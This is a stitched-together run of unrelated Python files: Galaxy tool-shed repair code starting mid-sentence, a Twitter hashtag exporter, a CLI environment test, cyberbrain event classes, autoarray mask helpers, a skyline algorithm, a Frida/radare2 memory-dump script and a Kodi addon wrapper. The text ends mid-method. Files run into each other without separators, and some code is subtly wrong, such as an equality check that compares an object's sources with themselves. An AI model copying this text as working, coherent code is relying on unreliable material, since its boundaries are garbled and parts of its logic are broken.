don't yet know what they are. containers_dict = container_util.build_repository_containers_for_galaxy( trans=trans, repository=None, datatypes=None, invalid_tools=None, missing_repository_dependencies=missing_repository_dependencies, missing_tool_dependencies=missing_tool_dependencies, readme_files_dict=readme_files_dict, repository_dependencies=installed_repository_dependencies, tool_dependencies=installed_tool_dependencies, valid_tools=None, workflows=None, valid_data_managers=None, invalid_data_managers=None, data_managers_errors=None, new_install=True, reinstalling=False ) # Merge the missing_repository_dependencies container contents to the installed_repository_dependencies container. containers_dict = repository_dependency_util.merge_missing_repository_dependencies_to_installed_container( containers_dict ) # Merge the missing_tool_dependencies container contents to the installed_tool_dependencies container. containers_dict = tool_dependency_util.merge_missing_tool_dependencies_to_installed_container( containers_dict ) return containers_dict def pull_repository( repo, repository_clone_url, ctx_rev ): """Pull changes from a remote repository to a local one.""" commands.pull( suc.get_configured_ui(), repo, source=repository_clone_url, rev=[ ctx_rev ] ) def repair_tool_shed_repository( trans, repository, repo_info_dict ): def add_repair_dict_entry( repository_name, error_message ): if repository_name in repair_dict: repair_dict[ repository_name ].append( error_message ) else: repair_dict[ repository_name ] = [ error_message ] return repair_dict metadata = repository.metadata repair_dict = {} if repository.status in [ trans.model.ToolShedRepository.installation_status.DEACTIVATED ]: try: common_install_util.activate_repository( trans, repository ) except Exception, e: error_message = "Error activating repository %s: %s" % ( repository.name, str( e ) ) log.debug( error_message ) repair_dict [ repository.name ] = error_message elif repository.status not in [ trans.model.ToolShedRepository.installation_status.INSTALLED ]: # TODO: this may cause problems if the repository is currently being installed. shed_tool_conf, tool_path, relative_install_dir = suc.get_tool_panel_config_tool_path_install_dir( trans.app, repository ) # Reset the repository attributes to the New state for installation. if metadata: tool_section, new_tool_panel_section, tool_panel_section_key = tool_util.handle_tool_panel_selection( trans, metadata, no_changes_checked=True, tool_panel_section=None, new_tool_panel_section=None ) else: # The tools will be loaded outside of any sections in the tool panel. tool_panel_section_key = None set_repository_attributes( trans, repository, status=trans.model.ToolShedRepository.installation_status.NEW, error_message=None, deleted=False, uninstalled=False, remove_from_disk=True ) install_tool_shed_repository( trans, repository, repo_info_dict, tool_panel_section_key, shed_tool_conf, tool_path, install_tool_dependencies=True, reinstalling=True ) if repository.status in [ trans.model.ToolShedRepository.installation_status.ERROR ]: repair_dict = add_repair_dict_entry( repository.name, repository.error_message ) else: # We have an installed tool shed repository, so handle tool dependencies if necessary. if repository.missing_tool_dependencies and metadata and 'tool_dependencies' in metadata: work_dir = tempfile.mkdtemp( prefix="tmp-toolshed-itdep" ) # Reset missing tool dependencies. for tool_dependency in repository.missing_tool_dependencies: if tool_dependency.status in [ trans.model.ToolDependency.installation_status.ERROR ]: tool_dependency_util.set_tool_dependency_attributes( trans, tool_dependency, trans.model.ToolDependency.installation_status.UNINSTALLED, None, remove_from_disk=True ) trans.sa_session.refresh( tool_dependency ) # Install tool dependencies. suc.update_tool_shed_repository_status( trans.app, repository, trans.model.ToolShedRepository.installation_status.INSTALLING_TOOL_DEPENDENCIES ) # Get the tool_dependencies.xml file from the repository. tool_dependencies_config = suc.get_config_from_disk( 'tool_dependencies.xml', repository.repo_path( trans.app ) ) installed_tool_dependencies = common_install_util.handle_tool_dependencies( app=trans.app, tool_shed_repository=repository, tool_dependencies_config=tool_dependencies_config, tool_dependencies=repository.tool_dependencies ) for installed_tool_dependency in installed_tool_dependencies: if installed_tool_dependency.status in [ trans.model.ToolDependency.installation_status.ERROR ]: repair_dict = add_repair_dict_entry( repository.name, installed_tool_dependency.error_message ) try: shutil.rmtree( work_dir ) except: pass suc.update_tool_shed_repository_status( trans.app, repository, trans.model.ToolShedRepository.installation_status.INSTALLED ) return repair_dict def set_repository_attributes( trans, repository, status, error_message, deleted, uninstalled, remove_from_disk=False ): if remove_from_disk: relative_install_dir = repository.repo_path( trans.app ) if relative_install_dir: clone_dir = os.path.abspath( relative_install_dir ) try: shutil.rmtree( clone_dir ) log.debug( "Removed repository installation directory: %s" % str( clone_dir ) ) except Exception, e: log.debug( "Error removing repository installation directory %s: %s" % ( str( clone_dir ), str( e ) ) ) repository.error_message = error_message repository.status = status repository.deleted = deleted repository.uninstalled = uninstalled trans.sa_session.add( repository ) trans.sa_session.flush() #!/usr/bin/env python3 # -*- coding: utf-8 -*- ########################################### # (c) 2016-2020 # ########################################### """ export hashtag word-count before running this, run from mongo client the following map-reduce: db.tweets.mapReduce( function() { if(this.hashtags) { this.hashtags.forEach( function(h) { emit(h, 1); } ); } }, function(k, vals) { var total=0; for(var v of vals) if (v !== null) total+=v; return total; }, { out: 'hashtag_sum', query: {'hashtags.0': {$exists: true}} } ) """ import optparse from datetime import datetime,timedelta from twkit.utils import * if __name__ == '__main__': parser = optparse.OptionParser() parser.add_option("-v", "--verbose", action="store_true", dest="verbose", default=False, help="List names of tracked users") (options, args) = parser.parse_args() verbose(options.verbose) db, api = init_state(False, True) for hashtag in db.hashtag_sum.find(): print(u'{}, {}'.format(int(hashtag['value']), hashtag['_id']).encode('utf-8')) import os from bddcli import Given, stdout, Application, when, given def foos(): # pragma: no cover e = os.environ.copy() # For Linux and Windows discarded_variables = ['LC_CTYPE', 'PWD', 'COMSPEC', 'PATHEXT', 'PROMPT', 'SYSTEMROOT'] # Windows environment variables are case-insensitive, lowercase them print(' '.join( f'{k}: {v}' for k, v in e.items() if k not in discarded_variables ).lower()) app = Application('foo', 'tests.test_environ:foos') def test_environ(): with Given(app, environ={'bar': 'baz'}): assert stdout == 'bar: baz\n' when(environ=given - 'bar') assert stdout == '\n' when(environ=given + {'qux': 'quux'}) assert stdout == 'bar: baz qux: quux\n' when(environ=given | {'bar': 'quux'}) assert stdout == 'bar: quux\n' cyberbrain/basis.py """Some basic data structures used throughout the project.""" from __future__ import annotations import dataclasses from collections import defaultdict import attr import os import shortuuid import sys from types import TracebackType from typing import Any, TYPE_CHECKING, Optional, Type, Tuple if TYPE_CHECKING: from .frame import Snapshot _dummy = object() ExcInfoType = Tuple[Type[BaseException], Exception, TracebackType] VERSION_INFO = sys.version_info[:2] RUN_IN_TEST = "pytest" in sys.modules @dataclasses.dataclass class ExceptionInfo: """The concrete type of ExcInfoType.""" type: Type[BaseException] value: Exception traceback: any class UUIDGenerator: counter = defaultdict(int) @classmethod def generate_uuid(cls) -> str: """Generates a 8-char uuid.""" if RUN_IN_TEST: # When run in test, generates predictable uids so we can assert on them. test_name = ( # When executed in global scope, $PYTEST_CURRENT_TEST is not set. os.environ.get("PYTEST_CURRENT_TEST", "global") .split(":")[-1] .split(" ")[0] ) count = cls.counter[test_name] cls.counter[test_name] += 1 return f"{test_name}:{count}" else: return shortuuid.uuid()[:8] @attr.s(auto_attribs=True) class Event: lineno: int # offset and filename are always set, but we don't want to set them in tests, thus # giving them a default value. index: int = attr.ib(eq=False, default=0) offset: int = attr.ib(eq=False, default=0) filename: str = attr.ib(eq=False, default="") id: string = attr.ib(factory=UUIDGenerator.generate_uuid, eq=False, repr=False) @staticmethod def value_serializer(inst: type, field: attr.Attribute, value: Any): if field is None: # This can happen when attr.asdict recuses on basic types in list fields # including the serialized result of the "sources" field return value if field.name == "sources": return sorted(source.name for source in value) if field.name == "target": return value.name return value @attr.s(auto_attribs=True, eq=False) class InitialValue(Event): """Identifiers already exist before tracking starts. e.g. Global variables, passed in arguments. This also counts: a = 1 tracer.start() a = 2 --> emit two events: first InitialValue, then Binding. tracer.stop() Compared to this one, which only emits a Binding event. tracer.start() a = 2 # 'a' doesn't exist before. tracer.stop() '""" target: Symbol = attr.ib(kw_only=True) # kw_only is required to make inheritance work # see https://github.com/python-attrs/attrs/issues/38 value: Any = attr.ib(kw_only=True) repr: str = "" def __eq__(self, other: InitialValue): return isinstance(other, InitialValue) and ( self.target, self.value, self.lineno, ) == (other.target, other.value, other.lineno) @attr.s(auto_attribs=True, eq=False) class Binding(Event): """An identifier is bound to an value. A brief explanation of Python's data model: http://foobarnbaz.com/2012/07/08/understanding-python-variables/ Roughly speaking, Binding happens when: - A new identifier is used for the first time - An identifier is re-assigned """ target: Symbol = attr.ib(kw_only=True) value: Any = attr.ib(kw_only=True) repr: str = "" sources: set[Symbol] = set() # Source can be empty, like a = 1 def __eq__(self, other: Binding): return isinstance(other, Binding) and ( self.target, self.value, self.sources, self.lineno, ) == (other.target, other.value, other.sources, other.lineno) @attr.s(auto_attribs=True, eq=False) class Mutation(Event): """An identifier is mutated. Note the difference between Mutation and Binding. a = 0 # Binding a = 1 # Binding, not Mutation!! b = [] # Binding b.append(1) # Mutation inst.foo() # Mutation, though we should check whether it actually happened. """ target: Symbol = attr.ib(kw_only=True) sources: set[Symbol] = set() # Source can be empty, like a = 1 value: Any = _dummy repr: str = "" def __eq__(self, other: Mutation): return isinstance(other, Mutation) and ( self.target, self.value, self.sources, self.lineno, ) == (other.target, other.value, other.sources, other.lineno) @attr.s(auto_attribs=True, eq=False) class Deletion(Event): """An identifier is deleted by `del`.""" target: Symbol = attr.ib(kw_only=True) def __eq__(self, other: Deletion): return isinstance(other, Deletion) and (self.target, self.lineno) == ( other.target, other.lineno, ) @attr.s(auto_attribs=True, eq=False) class Return(Event): """Return from a callable. The return event, if exist, is always the last event of a frame. The return event does not have a "target" attr because there isn't always one, e.g. return 1 + 2, return a if b else c """ value: Any = attr.ib(kw_only=True) repr: str = "" sources: set[Symbol] = set() def __eq__(self, other: Return): return isinstance(other, Return) and (self.value, self.sources) == ( other.value, self.sources, ) @attr.s class JumpBackToLoopStart(Event): """ As the name suggests, this type of events represent a jump to loop start. Here, "jump back" means the offset of next instruction is smaller than the current one. In fact, in Python, the destination of a jump back is always a loop start. Not like other types of events, JumpBackToLoopStart is irrelevant to any identifier, nor is it showed on the trace graph. We need it to help track iterations of loops. See trace_graph.js for more information. """ # The jump target's offset, which is guaranteed to be a loop start. jump_target: int = attr.ib(kw_only=True) @attr.s class Loop: start_offset: int = attr.ib(kw_only=True) end_offset: int = attr.ib(kw_only=True) start_lineno: int = attr.ib(kw_only=True) end_lineno: int = attr.ib(kw_only=True) """ An edge case that is not handled: x = a.b x.foo = bar a is also changed, but right now we won't be able to know it. We need a Symbol class to handle this case, like: Symbol('x', references={'a'}) H: 其实我更多想的时，Symbol 可以引用别的 symbol L: 引用别的 symbol 虽然或许可以让 backtracking 更简单，如果是引用所有相关 symbol 感觉有点滥用，引 用一些局部（比如同一个 statement）的 symbol 应该是可以的 """ class Symbol: """An identifier at a certain point of program execution. Symbols are specific to a frame. For symbols stored in value stack or representing a source, snapshot must be provided. For symbols only used for representing a target, snapshot can be omitted. """ def __init__(self, name: str, snapshot: Optional[Snapshot] = None): self.name = name self.snapshot = snapshot def __hash__(self): return hash(self.name) def __eq__(self, other): """Test only""" return self.name == other.name def __repr__(self): return f"Symbol('{self.name}')" import numpy as np from autoarray import numba_util @numba_util.jit() def total_pixels_1d_from(mask_1d: np.ndarray) -> int: """ Returns the total number of unmasked pixels in a mask. Parameters ---------- mask_1d A 2D array of bools, where `False` values are unmasked and included when counting pixels. Returns ------- int The total number of pixels that are unmasked. Examples -------- mask = np.array([[True, False, True], [False, False, False] [True, False, True]]) total_regular_pixels = total_regular_pixels_from(mask=mask) """ total_regular_pixels = 0 for x in range(mask_1d.shape[0]): if not mask_1d[x]: total_regular_pixels += 1 return total_regular_pixels @numba_util.jit() def total_sub_pixels_1d_from(mask_1d: np.ndarray, sub_size: int) -> int: """ Returns the total number of sub-pixels in unmasked pixels in a mask. Parameters ---------- mask_1d A 2D array of bools, where `False` values are unmasked and included when counting sub pixels. sub_size The size of the sub-grid that each pixel of the 2D mask array is divided into. Returns ------- int The total number of sub pixels that are unmasked. Examples -------- mask = np.array([[True, False, True], [False, False, False] [True, False, True]]) total_sub_pixels = total_sub_pixels_from(mask=mask, sub_size=2) """ return total_pixels_1d_from(mask_1d) * sub_size @numba_util.jit() def native_index_for_slim_index_1d_from( mask_1d: np.ndarray, sub_size: int ) -> np.ndarray: """ Returns an array of shape [total_unmasked_pixels*sub_size] that maps every unmasked sub-pixel to its corresponding native 2D pixel using its (y,x) pixel indexes. For example, for a sub-grid size of 2x2, if pixel [2,5] corresponds to the first pixel in the masked slim array: - The first sub-pixel in this pixel on the 1D array is sub_native_index_for_sub_slim_index_2d[4] = [2,5] - The second sub-pixel in this pixel on the 1D array is sub_native_index_for_sub_slim_index_2d[5] = [2,6] - The third sub-pixel in this pixel on the 1D array is sub_native_index_for_sub_slim_index_2d[5] = [3,5] Parameters ----------- mask_2d A 2D array of bools, where `False` values are unmasked. sub_size The size of the sub-grid in each mask pixel. Returns ------- ndarray An array that maps pixels from a slimmed array of shape [total_unmasked_pixels*sub_size] to its native array of shape [total_pixels*sub_size, total_pixels*sub_size]. Examples -------- mask_2d = np.array([[True, True, True], [True, False, True] [True, True, True]]) sub_native_index_for_sub_slim_index_2d = sub_native_index_for_sub_slim_index_via_mask_2d_from(mask_2d=mask_2d, sub_size=1) """ total_sub_pixels = total_sub_pixels_1d_from(mask_1d=mask_1d, sub_size=sub_size) sub_native_index_for_sub_slim_index_1d = np.zeros(shape=total_sub_pixels) sub_slim_index = 0 for x in range(mask_1d.shape[0]): if not mask_1d[x]: for x1 in range(sub_size): sub_native_index_for_sub_slim_index_1d[sub_slim_index] = ( x * sub_size ) + x1 sub_slim_index += 1 return sub_native_index_for_sub_slim_index_1d # Solution 1 # O(n^2) time / O(1) space # n - number of buildings def largestRectangleUnderSkyline(buildings): maxArea = 0 for pillarIdx in range(len(buildings)): currentHeight = buildings[pillarIdx] furthestLeft = pillarIdx while furthestLeft > 0 and buildings[furthestLeft - 1] >= currentHeight: furthestLeft -= 1 furthestRight = pillarIdx while furthestRight < len(buildings) - 1 and buildings[furthestRight + 1] >= currentHeight: furthestRight += 1 areaWithCurrentBuilding = (furthestRight - furthestLeft + 1) * currentHeight maxArea = max(areaWithCurrentBuilding, maxArea) return maxArea # Solution 2 # O(n) time / O(n) space # n - number of buildings def largestRectangleUnderSkyline(buildings): pillarIndices = [] maxArea = 0 for idx, height in enumerate(buildings + [0]): while len(pillarIndices) != 0 and buildings[pillarIndices[len(pillarIndices) - 1]] >= height: pillarHeight = buildings[pillarIndices.pop()] width = idx if len(pillarIndices) == 0 else idx - pillarIndices[len(pillarIndices) - 1] - 1 maxArea = max(width * pillarHeight, maxArea) pillarIndices.append(idx) return maxAreafrida/r2dump.py import r2pipe import sys import time from tqdm import tqdm if len(sys.argv) < 5: print("Use `python r2dump.py frida://DEVICE_ID/PID START_ADDRESS LENGTH") sys.exit(1) print("[*] Connecting") r2 = r2pipe.open(sys.argv[1]) time.sleep(1) with open("dump.so", "wb") as fp: address = int(sys.argv[2], 16) size = int(sys.argv[3]) bb = int(sys.argv[4]) bar = tqdm(total=size) while size > 0: h_address = hex(address) r2.cmd("s {}".format(h_address)) amount = min(bb, size) d = r2.cmd("p8 {}".format(amount)) fp.write(bytearray.fromhex(d)) address += amount size -= amount bar.update(amount) import re from collections import namedtuple from collections.abc import Sequence, Mapping from contextlib import contextmanager from .tools import setdefaultx from .kodi import version_info as kodi_ver from .format import safefmt # from .logs import log import xbmcgui import xbmcplugin class Cmp: """Helper. Object to compare values without TypeError exception.""" __slots__ = ('value', ) def __init__(self, value=None): self.value = value # The sort routines are guaranteed to use __lt__() when making comparisons between two objects. def __lt__(self, other): """True if self is less-then other.""" if not self.value: return bool(other.value) # '' < '' or '' < '...' if not other.value: return False # '...' < '' try: return self.value < other.value except TypeError: return str(self.value) < str(other.value) # def __eq__(self, other): # if not self.value and not other.value: # return True # if self.value and other.value: # return str(self.value) == str(other.value) # return False class ListItem: """ Tiny xbmcgui.ListItem wrapper to keep URL and is_folder flag. """ def __init__(self, name, *, url=None, folder=None, type=None, offscreen=True, sort_key=None, custom=None): if isinstance(name, xbmcgui.ListItem): self._libka_item = name else: self._libka_item = xbmcgui.ListItem(name, offscreen=offscreen) self._libka_url = url self._libka_folder = folder self.type = type self._info = {} self._props = {} self.sort_key = sort_key self.custom = custom if self.type is not None: self._libka_item.setInfo(self.type, self._info) def __repr__(self): return 'ListItem(%r)' % self._libka_item def __getattr__(self, key): return getattr(self._libka_item, key) @property def mode(self): return @mode.setter def mode(self, value): playable = value in ('play', 'playable') folder = value in ('folder', 'menu') self.setProperty('isPlayable', 'true' if playable else 'false') self.setIsFolder(folder) self._libka_folder = folder @property def label(self): return self.getLabel() @label.setter def label(self, label): self.setLabel(label) @property def info(self): return self._info def get(self, info): """Get single info value or another value or None if not exists.""" if info == 'label': return self.getLabel() return self._info.get(info) def get_info(self, info): """Get single info value or None if not exists.""" return self._info.get(info) def set_info(self, info, value=None): """ Set info value or info dict. set_info(name, value) set_info({'name': 'value', ...}) """ if isinstance(info, Mapping): if value is not None: raise TypeError('Usage: set_info(name, value) or set_info(dict)') self._info.update(info) else: self._info[info] = value self._libka_item.setInfo(self.type, self._info) def setInfo(self, type, infoLabels): """See Kodi ListItem.setInfo().""" if self.type is None: self.type = type if type != self.type: raise ValueError('Type mismatch %r != %r' % (self.type, type)) if self.type is None: raise TypeError('setInfo: type is None') self._info.update(infoLabels) self._libka_item.setInfo(self.type, self._info) @property def title(self): return self._info.get('title') @title.setter def title(self, title): self._info['title'] = title self._libka_item.setInfo(self.type, self._info) def setProperties(self, values): """See Kodi ListItem.setProperties().""" self._props.update(values) self._libka_item.setProperties(values) def setProperty(self, key, value): """See Kodi ListItem.setProperty().""" self._props[key] = value self._libka_item.setProperty(key, value) def get_property(self, key): """Get set property.""" return self._props.get(key) #: Helper. Sort item. Sort = namedtuple('Sort', 'method labelMask label2Mask') Sort.__new__.__defaults__ = (None, None) Sort.auto = 'auto' Item = namedtuple('Item', 'item endpoint folder') #: Resolved xbmcplugin.addDirectoryItems item. DirectoryItem = namedtuple('DirectoryItem', 'url listitem is_folder') class AddonDirectory: """ Tiny wrapper for plugin directory list. Parameters ---------- addon : Addon Current addon instance. view : str Directory view, see ... sort : str or bool Default list sort. See bellow. type : str Content type (video, music, pictures, game). Default is directory default (video). image : str Link to image or relative path to addon image. fanart : str Link to fanart image or relative path to addon image. format : str Safe f-string title format. Keyword arguments are `title` and `info` dict. style : str or list of str Safe f-string title style or list of styles like ['B', 'COLOR red']. isort : str or bool Internal list sort. See bellow. cache : bool Cache to disc on directory end. update : bool Update listing on directory end. offscreen : bool Default offcreen flag for directory items. Sort ---- None means default behavior. If add_sort() is used nothing happens. If no any sort function is called it means "auto". "auto" means auto sorting. All added items are scanned for detect witch info data is available. Than corresponding sort method are added to directory, including "unsorted". Empty string means "unsorted". False means do not sort at all. Even seep any add_sort() calls. True means... [I'm not sure yet ;-P] Another str is spited by semicolon (;) to separate sort command. Single sort command is Kodi case insensitive name (without "SORT_METHOD_"). Then "title" -> SORT_METHOD_TITLE. After bar (|) `label2Mask` can be applied. Note. If sort=None and `label2` is used, than item info `code` is overwritten, and mask is forced to "%P". ### Example Three sort methods: - SORT_METHOD_UNSORTED with "%Y, %D" mask - SORT_METHOD_YEAR - SORT_METHOD_DURATION >>> sort='|%Y, %D; year; duration' Single method with show genre (skin hide sort button): >>> sort='|%G' ### Internal sort To sort data *before* add to Kodi Directory, `isort` can be used. It should contains info key or sequence of info key (tuple, list or string separated by comma). If minus (-) is a first character of a key, there reverse order will be used. See: xbmcgui.ListItem, xbmcplugin.addDirectoryItem, xbmcplugin.endOfDirectory. """ _RE_ISORT_SPLIT = re.compile(r'[,;]') def __init__(self, *, addon=None, view=None, sort=None, type='video', image=None, fanart=None, format=None, style=None, isort=None, cache=False, update=False, offscreen=True): if addon is None: addon = globals()['addon'] self.addon = addon self.router = self.addon.router self.item_list = [] self.view = view self.type = type self.image = image self.fanart = fanart self.format = format self.style = style self._label2_used = False self.sort_list = [] self._initial_sort = sort if isinstance(sort, str): sort = [s.strip() for s in sort.split(';')] if sort is not None and not isinstance(sort, bool): for s in sort: self._add_sort(s) if isinstance(isort, str): self.isort = [s.strip() for s in self._RE_ISORT_SPLIT.split(isort)] elif isinstance(isort, Sequence): self.isort = list(isort) else: self.isort = [] self.cache = cache self.update = update self.offscreen = offscreen self._next_sort_key = None handler = getattr(self.addon, 'on_directory_enter', None) if handler is not None: handler(self) def close(self, success=True): def add_sort_method(sortMethod, labelMask, label2Mask): xbmcplugin.addSortMethod(self.addon.handle, sortMethod=sortMethod, labelMask=labelMask, label2Mask=label2Mask) # custom exiting handler = getattr(self.addon, 'on_directory_exit', None) if handler is not None: handler(self) # set view if self.view is not None: xbmcplugin.setContent(self.addon.handle, self.view) # force label2 if self._initial_sort is None and not self.sort_list: if self._label2_used: self.sort_list = [Sort('', label2Mask='%P')] for it in self.item_list: if isinstance(it.item, ListItem): it.item.set_info('code', it.item.getLabel2()) else: self.sort_list = [Sort('')] # internal sort if self.isort: for srt in reversed(self.isort): reverse = False if srt.startswith('-'): srt = srt[1:] reverse = True elif srt.startswith('+'): srt = srt[1:] self.item_list.sort(key=lambda it: (Cmp(it.item.get(srt)) if isinstance(it.item, ListItem) else Cmp()), reverse=reverse) # ... always respect "SpecialSort" property, even wth SORT_METHOD_UNSORTED spec_sort = {'top': -1, 'bottom': 1} self.item_list.sort(key=lambda it: spec_sort.get(((it.item.get_property if isinstance(it.item, ListItem) else it.item.getProperty)('SpecialSort') or '').lower(), 0)) # add all items xitems = [self._prepare(*it) for it in self.item_list] xbmcplugin.addDirectoryItems(self.addon.handle, xitems, len(xitems)) # add sort methods if self._initial_sort is True: pass # I'm not sure – ignore at the moment if self._initial_sort is False: pass # skip sorting at all else: if self._initial_sort is None and not self.sort_list: if not self._label2_used: self.sort_list = [Sort('auto')] for sort in self.sort_list: if sort.method == '': method = xbmcplugin.SORT_METHOD_UNSORTED add_sort_method(sortMethod=method, labelMask=sort.labelMask, label2Mask=sort.label2Mask) elif sort.method == 'auto': for method in self._find_auto_sort(): add_sort_method(sortMethod=method, labelMask=sort.labelMask, label2Mask=sort.label2Mask) else: add_sort_method(sortMethod=sort.method, labelMask=sort.labelMask, label2Mask=sort.label2Mask) # close directory handler = getattr(self.addon, 'on_directory_close', None) if handler is not None: handler(self) xbmcplugin.endOfDirectory(self.addon.handle, succeeded=success, updateListing=self.update, cacheToDisc=self.cache) def sort_items(self, *, key=None, reverse=False): """ Sort items **before** `AddonDirectory.close()`. Return a new list containing all items from the iterable in ascending order. A custom key function can be supplied to customize the sort order, and the reverse flag can be set to request the result in descending order. """ if key is None: def key(item): return item.label self.item_list.sort(key=lambda item: key(item.item), reverse=reverse) def _find_auto_sort(self): """Helper. Sort method auto generator.""" try: SORT_METHOD_YEAR = xbmcplugin.SORT_METHOD_YEAR except AttributeError: SORT_METHOD_YEAR = xbmcplugin.SORT_METHOD_VIDEO_YEAR # "auto" should not generate SORT_METHOD_UNSORTED, it is easy to get directly. # yield xbmcplugin.SORT_METHOD_UNSORTED for method, keys in { # Kodi-sort-method: (list-of-info-keys) xbmcplugin.SORT_METHOD_TITLE: ('title',), SORT_METHOD_YEAR: ('year', 'aired'), xbmcplugin.SORT_METHOD_DURATION: ('duration',), xbmcplugin.SORT_METHOD_GENRE: ('genre',), }.items(): if any(it.item.get(key) for it in self.item_list if isinstance(it.item, ListItem) for key in keys): yield method def _add_sort(self, data): """Helper. Add sort method, `data` is str, dict or tuple.""" if data == 'auto': # auto_sort() self.add_sort(data) elif isinstance(data, Sort): # add_sort(Sort(...)) self.add_sort(data) elif isinstance(data, int): # add_sort(xbmcplugin.SORT_METHOD_method) self.add_sort(data) elif isinstance(data, str): # add_sort("method") or add_sort("method|label2Mask") self.add_sort(data) elif isinstance(data, Mapping): # add_sort(method=..., labelMask=..., label2Mask=...) self.add_sort(**data) elif isinstance(data, Sequence): # add_sort(method, labelMask, label2Mask) self.add_sort(*data) def add_sort(self, method, labelMask=None, label2Mask=None): """Add single sort method. See AddonDirectory `sort` description.""" if isinstance(method, Sort): self.sort_list.append(method) else: if isinstance(method, str): method, sep2, mask2 = method.partition('|') mask1, sep1, mask2 = mask2.rpartition('|') if labelMask is None and mask1: labelMask = mask1 if label2Mask is None and mask2: label2Mask = mask2 if method in ('', 'auto'): # to process later self.sort_list.append(Sort(method, labelMask, label2Mask)) return elif method == 'year' and not hasattr(xbmcplugin, 'SORT_METHOD_YEAR'): method = 'video_year' method = getattr(xbmcplugin, 'SORT_METHOD_%s' % method.replace(' ', '_').upper()) self.sort_list.append(Sort(method, labelMask, label2Mask)) # @trace def new(self, _name, endpoint=None, *, offscreen=None, folder=False, playable=False, label=None, title=None, descr=None, format=None, style=None, image=None, fanart=None, thumb=None, properties=None, position=None, menu=None, type=None, info=None, art=None, season=None, episode=None, label2=None, sort_key=None, custom=None): """ Create new list item, can be added to current directory list. new([title,] endpoint, folder=False, playable=False, descr=None, format=None, image=None, fanart=None, thumb=None, properties=None, position=None, menu=None, type=None, info=None, art=None, season=None, episode=None) Parameters ---------- endpoint : method Addon method to call after user select. _name : str Label name as positional argument. offscreen : bool or None True if item is created offscreen and GUI based locks should be avoided. folder : bool True if item is a folder. Default is False. playable : bool True if item is playable, could be resolved. Default is False. label : str Item title, if None endpoint name is taken. If still missing, title is taken. title : str Item title, used in `info` descr : str Video description. Put into info labels. style : str ot list[str] Safe f-string style title format made by mkentry(). format : str Safe f-string title format. Keywoard arguemts are `title` and `info` dict. image : str Link to image or relative path to addon image. Defualt is AddonDirectory image or addon `default_image`. fanart : str Link to fanart or relative path to addon fanart. Default is addon `fanart`. thumb : str Link to image thumb or relative path to addon image. Default is `image`. properties : dict[str, str] Dictionary with xmbcgui.ListItem properties. position : str Item spesial sort: "top" or "bottom" menu : list[(str, str | function)] | AddonContextMenu Context menu. AddonContextMenu or list of entries. Each entry is tuple of title (str) and handle (str or addon method). type : str Contnent type (video, music, pictures, game). Default is directory default (video). info : dict[str, str] Labels info, see xmbcgui.ListItem.setInfo(). art : dict[str, str] Links to art images, see xmbcgui.ListItem.setArt(). season : int Season number or None if not a season nor an episode. episode : int Episode number or None if not an episode. sort_key: any Custom sort key, holt only in libka drirectory, not used in the Kodi custom: any Custom filed, holt only in libka drirectory, not used in the Kodi See: https://alwinesch.github.io/group__python__xbmcgui__listitem.html """ # log.error('>>> ENTER...') # DEBUG if offscreen is None: offscreen = self.offscreen if type is None: type = 'video' if self.type is None else self.type if style is None: style = self.style if sort_key is None: sort_key = self._next_sort_key if label is not None and endpoint is None: _name, endpoint = label, _name entry = self.router.mkentry(_name, endpoint, title=title, style=style) label = entry.label if label is None: if entry.title is None: label = str(entry.url) else: label = entry.title item = ListItem(label, url=entry.url, folder=folder, type=type, offscreen=offscreen, sort_key=sort_key, custom=custom) if folder is True: item.setIsFolder(folder) if label2 is not None: item.setLabel2(label2) self._label2_used = True # properties if properties is not None: item.setProperties(properties) item.setProperty('isPlayable', 'true' if playable else 'false') if position is not None: item.setProperty('SpecialSort', position) # menu if menu is not None: if not isinstance(menu, AddonContextMenu): menu = AddonContextMenu(menu, addon=self.addon) item.addContextMenuItems(menu) # info info = {} if info is None else dict(info) if entry.title is not None: info.setdefault('title', entry.title) if descr is not None: info['plot'] = descr info.setdefault('plotoutline', descr) info.setdefault('tagline', descr) if season is not None: info['season'] = season if episode is not None: info['episode'] = episode item.setInfo(type, info or {}) # art / images art = {} if art is None else dict(art) setdefaultx(art, 'icon', image, self.image) setdefaultx(art, 'fanart', fanart, self.fanart) setdefaultx(art, 'thumb', thumb) if not (set(art) - {'fanart', 'thumb'}): # missing image, take defaults for iname in ('icon', 'landscape', 'poster', 'banner', 'clearlogo', 'keyart'): image = self.addon.media.image('default/%s' % iname) if image is not None: art.setdefault(iname, image) # setdefaultx(art, 'icon', addon_icon) art = {k: 'https:' + v if isinstance(v, str) and v.startswith('//') else str(v) for k, v in art.items()} item.setArt(art) # serial if season is not None: if not isinstance(season, str) and isinstance(season, Sequence): item.addSeason(*season[:2]) else: item.addSeason(season) # title tuning if format is None: format = self.format if format is not None: if entry.title is not None: label.title = safefmt(format, entry.title, **info) label = safefmt(format, label, **info) label = self.addon.format_title(label, entry.style, n=len(self.item_list) + 1) item.setLabel(label) # log.error('>>> EXIT...') # DEBUG return item def add(self, item, endpoint=None, folder=None): if item is not None: self.item_list.append(Item(item, endpoint, folder)) return item def _prepare(self, item, endpoint=None, folder=None): """Helper. Add item to xbmcplugin directory.""" ifolder = False if isinstance(item, ListItem): # our list item, recover url and folder flag item, url, ifolder = item._libka_item, item._libka_url, item._libka_folder if endpoint is not None: url, *_ = self.router.mkentry(item.getLabel(), endpoint) elif isinstance(item, xbmcgui.ListItem): # pure kodi list item, create url from endpoint url, *_ = self.router.mkentry(item.getLabel(), endpoint) if kodi_ver >= (20,): ifolder = item.isFolder() else: # fallback, use "item" as title and create url from endpoint title, url, style = self.router.mkentry(item, endpoint) title = self.addon.format_title(title, style=style) item = xbmcgui.ListItem(title) if folder is None: folder = ifolder return DirectoryItem(url, item, folder) def _add(self, item, endpoint=None, folder=None): """Helper. Add item to xbmcplugin directory.""" return xbmcplugin.addDirectoryItem(*self._prepare(item, endpoint, folder=folder)) def item(self, *args, **kwargs): """ Add folder to current directory list. folder([title,] endpoint) Parameters ---------- endpoint : method Addon method to call after user select. title : str Item title, if None endpoint name is taken. For more arguments see AddonDirectory.new(). """ item = self.new(*args, **kwargs) self.add(item) return item def folder(self, title, endpoint=None, **kwargs): """ Add folder to current directory list. folder([title,] endpoint) Parameters ---------- endpoint : method Addon method to call after user select. title : str Item title, if None endpoint name is taken. For more arguments see AddonDirectory.new(). """ return self.item(title, endpoint, folder=True, **kwargs) #: Shortcut name menu = folder def play(self, title, endpoint=None, **kwargs): """ Add playable item to current directory list. play([title,] endpoint) Parameters ---------- endpoint : method Addon method to call after user select. title : str Item title, if None endpoint name is taken. For more arguments see AddonDirectory.new(). """ return self.item(title, endpoint, playable=True, **kwargs) def separator(self, 